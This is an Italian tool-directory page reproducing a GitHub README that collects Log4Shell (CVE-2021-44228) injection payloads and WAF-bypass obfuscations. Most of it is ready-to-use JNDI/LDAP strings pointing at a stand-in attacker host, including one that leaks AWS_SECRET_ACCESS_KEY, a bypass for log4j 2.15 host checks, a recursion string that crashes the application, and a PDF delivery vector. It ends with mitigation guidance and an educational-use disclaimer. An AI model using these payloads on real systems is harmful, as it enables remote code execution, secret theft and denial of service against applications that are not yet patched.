Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - Trucchi di bypass WAF | Kitploit
Strumenti/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Generazione di PayloadAnalisi delle VulnerabilitàExploitEvasione IDS/IPSSfruttamento di Applicazioni WebBypass WAFPenetration TestingApprendimento e FormazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java LOG4J - Trucchi di bypass WAF

Vedi Repository
9501344 anni faRevisionato da Kitploit
🤝 Mostra il tuo supporto - dai una ⭐️ se ti è piaciuto il contenuto | CONDIVIDI su Twitter | Seguimi su

🐱‍💻 ✂️ 🤬 Exploit LOG4J in Java - trucchi per bypassare WAF e patch

📝 Descrizione

CVE-2021-44228 funziona su:

log4j: 2.0 <= Apache log4j <= 2.14.1

Versioni Java già corrette: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender ha iniziato a rimuovere i file .java che includono jndi:ldap:....

Semplice script dell'attaccante (possibile RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF o sviluppatori hanno iniziato a bloccare le frasi:

  • "ldap:"
  • "jndi:"

per proteggere le applicazioni.

Tuttavia, l'attaccante può bypassarlo utilizzando una di queste tecniche:

1. Variabili d'ambiente di sistema

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Dalla documentazione di Apache Log4j 2: ${env:ENV_NAME:-default_value}

Se non esiste la variabile d'ambiente ENV_NAME, usa il testo dopo :-

L'attaccante può usare qualsiasi nome al posto di ENV_NAME, ma deve non esistere.

Oppure l'hacker può leggere la variabile d'ambiente, esempio per AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Scopri altri segreti in 🦄🔒 Incredibile lista di segreti nelle variabili d'ambiente 🖥️

Puoi controllare le tue variabili d'ambiente di sistema:

  • Su Windows esegui in PowerShell: dir env:
  • Su Linux/MacOS esegui nel terminale: printenv o env

2. Lower o Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup LowerLookup converte l'argomento passato in minuscolo. Presumibilmente il valore sarà il risultato di una ricerca annidata.

${lower:<testo>}

Upper Lookup UpperLookup converte l'argomento passato in maiuscolo. Presumibilmente il valore sarà il risultato di una ricerca annidata.

${upper:<testo>}


3. Notazione "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Caratteri Unicode non validi con upper

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı viene convertito in i


5. Proprietà di sistema

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

Se non esiste la proprietà di sistema SYS_NAME, usa il testo dopo :-


6. Notazione ":-"

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Data

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

La formattazione della data di Java converte YYYY in 2021, ma converte 'YYYY' in YYYY o 'j' in j.


8. Codifica URL HTML

Sostituisci i caratteri con:

  • } con %7D
  • { con %7B
  • $ con %24

Puoi leggere di più qui Riferimento per la codifica URL HTML


9. Ricerca inesistente

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

Non verifica l'esistenza della ricerca e si limita a valutare il default.


10. Polimorfico (richiesta JSON REST API)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Separatamente queste chiavi e valori non rappresentano un attacco. Ma tutti insieme sono un attacco e questo attacco è trasparente per i sistemi di rilevamento a causa del parser JSON." Leggi altro...


11. Caratteri Unicode (richiesta JSON REST API)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Converti alcuni caratteri in unicode.

Convertitore Unicode online


12. Trucco con # (funziona su log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Bypassa i controlli allowedLdapHost e allowedClasses in Log4J 2.15.0. Il metodo java.net.URI getHost() restituisce il valore prima di # come host reale. Ma il risolutore JNDI/LDAP risolverà la stringa host completa tentando di connettersi al server LDAP malevolo.

Leggi altro...


13. Attacco DoS (funziona su log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

Se viene tentata una sostituzione di stringa per qualsiasi motivo sulla seguente stringa, innescherà una ricorsione infinita e l'applicazione crascherà.

Leggi altro...


14. PDF come canale di consegna.

Crea un file pdf speciale per sfruttare CVE-2021-44228

PDF example

Ottieni un file PDF e leggi altro...

Test

Per testare l'input puoi usare:

  • https://canarytokens.org/generate - Scegli il token Log4Shell (la notifica di ingresso verrà inviata via email o webhook), genera e sostituisci somesitehackerofhell.com/z
  • https://dnslog.cn/ - Genera un sottodominio e sostituisci somesitehackerofhell.com/z

✨ Migliore soluzione per proteggersi da CVE-2021-44228

tl;dr Aggiorna a log4j-2.17.1 o successivo.

Mitigazione per Log4j 1.x: Log4j 1.x non ha Lookups quindi il rischio è minore. Le applicazioni che utilizzano Log4j 1.x sono vulnerabili a questo attacco solo quando usano JNDI nella loro configurazione. Un CVE separato (CVE-2021-4104) è stato registrato per questa vulnerabilità. Per mitigare: verifica la tua configurazione di logging per assicurarti che non abbia JMSAppender configurato. Le configurazioni Log4j 1.x senza JMSAppender non sono influenzate da questa vulnerabilità.

Mitigazione per Log4j 2.x: Implementa una delle tecniche di mitigazione seguenti.

  • Gli utenti Java 8 (o successivo) dovrebbero aggiornare alla versione 2.17.1.
  • Gli utenti che necessitano di Java 7 dovrebbero aggiornare alla versione 2.12.4 quando sarà disponibile (lavoro in corso, previsto a breve).
  • Altrimenti, rimuovi la classe JndiLookup dal classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class e rimuovi i riferimenti a Context Lookups come ${ctx:loginId} o $${ctx:loginId} dove questi provengono da fonti esterne all'applicazione come intestazioni HTTP o input utente.

Nota che solo il file JAR log4j-core è interessato da questa vulnerabilità. Le applicazioni che utilizzano solo il file JAR log4j-api senza il file JAR log4j-core non sono influenzate da questa vulnerabilità.

Fonte e leggi altro...

Mantieniti al sicuro!

🤝 Mostra il tuo supporto

🤝 Mostra il tuo supporto - dai una ⭐️ se ti è piaciuto il contenuto o il meme | CONDIVIDI su Twitter | Seguimi su

log2

📝 Link utili

  • Apache Log4j 2 v. 2.15.0 - Guida per l'utente
  • Possibile prima pubblicazione del bypass lower/upper
  • CVE-2021-44228 (Apache Log4j Remote Code Execution)
  • Riferimento per la codifica URL HTML
  • GitHub Reviewed CVE-2021-44228 - Remote code injection in Log4j
  • Vulnerabilità di sicurezza di Apache Log4j
  • Programma log4j-detector - Rileva le versioni Log4J nel tuo file-system all'interno di qualsiasi applicazione vulnerabili a CVE-2021-44228 e CVE-2021-45046
  • Exploit Log4J polimorfico che è una richiesta JSON REST API valida
  • Bypassare NGFW/WAF usando offuscamento del formato dati
  • LOG4J2-3230 Alcune stringhe possono causare ricorsione infinita
  • Ecco un PoC su come bypassare i controlli allowedLdapHost e allowedClasses in Log4J 2.15.0
  • 🦄🔒 Incredibile lista di segreti nelle variabili d'ambiente 🖥️
  • Sfruttare CVE-2021-44228 usando PDF come canale di consegna - PoC

🙌 Ringraziamenti agli utenti per il contributo

  • Tutti i contributori
  • Whatsec per ulteriori esempi di bypass
  • manjula-aw per il miglioramento della sezione sulla sicurezza
  • juliusmusseau per un altro esempio di bypass

✔️ Disclaimer

Questo progetto può essere utilizzato solo per scopi educativi. Usare questo software contro sistemi target senza autorizzazione preventiva è illegale, e l'autore non sarà responsabile per eventuali danni derivanti da un uso improprio.

Non sono l'autore di CVE-2021-44228 e di alcuni bypass

Scarica lo strumento